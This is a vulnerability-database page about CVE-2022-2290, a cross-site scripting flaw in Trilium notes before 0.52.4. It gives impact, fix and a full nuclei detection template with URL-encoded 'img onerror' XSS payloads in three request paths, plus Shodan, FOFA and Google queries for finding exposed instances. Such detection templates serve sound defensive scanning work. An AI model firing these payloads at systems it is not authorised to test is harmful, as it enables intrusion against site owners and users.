HexBrain

Browse / CVEs / CVE-2022-2290

CVE-2022-2290· trilium project / trilium· CWE-79

Trilium <0.52.4 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.

Fix

Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E ; GET {{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E ; GET {{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename
Positive when: contains "No handler matched for custom <img src=x onerror=alert(docu…" or "Note '<img src=x onerror=alert(document.domain)>' not found" AND contains in header "text/html" AND status 404

Run it with nuclei: nuclei -id CVE-2022-2290 -u <target>

The full check
id: CVE-2022-2290

info:
  name: Trilium <0.52.4 - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
  remediation: |
    Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
    epss-score: 0.02916
    epss-percentile: 0.87127
    cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: trilium_project
    product: trilium
    shodan-query:
      - title:"Trilium Notes"
      - http.title:"trilium notes"
    fofa-query: title="trilium notes"
    google-query: intitle:"trilium notes"
  tags: cve,cve2022,xss,trilium,huntr,trilium_project,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from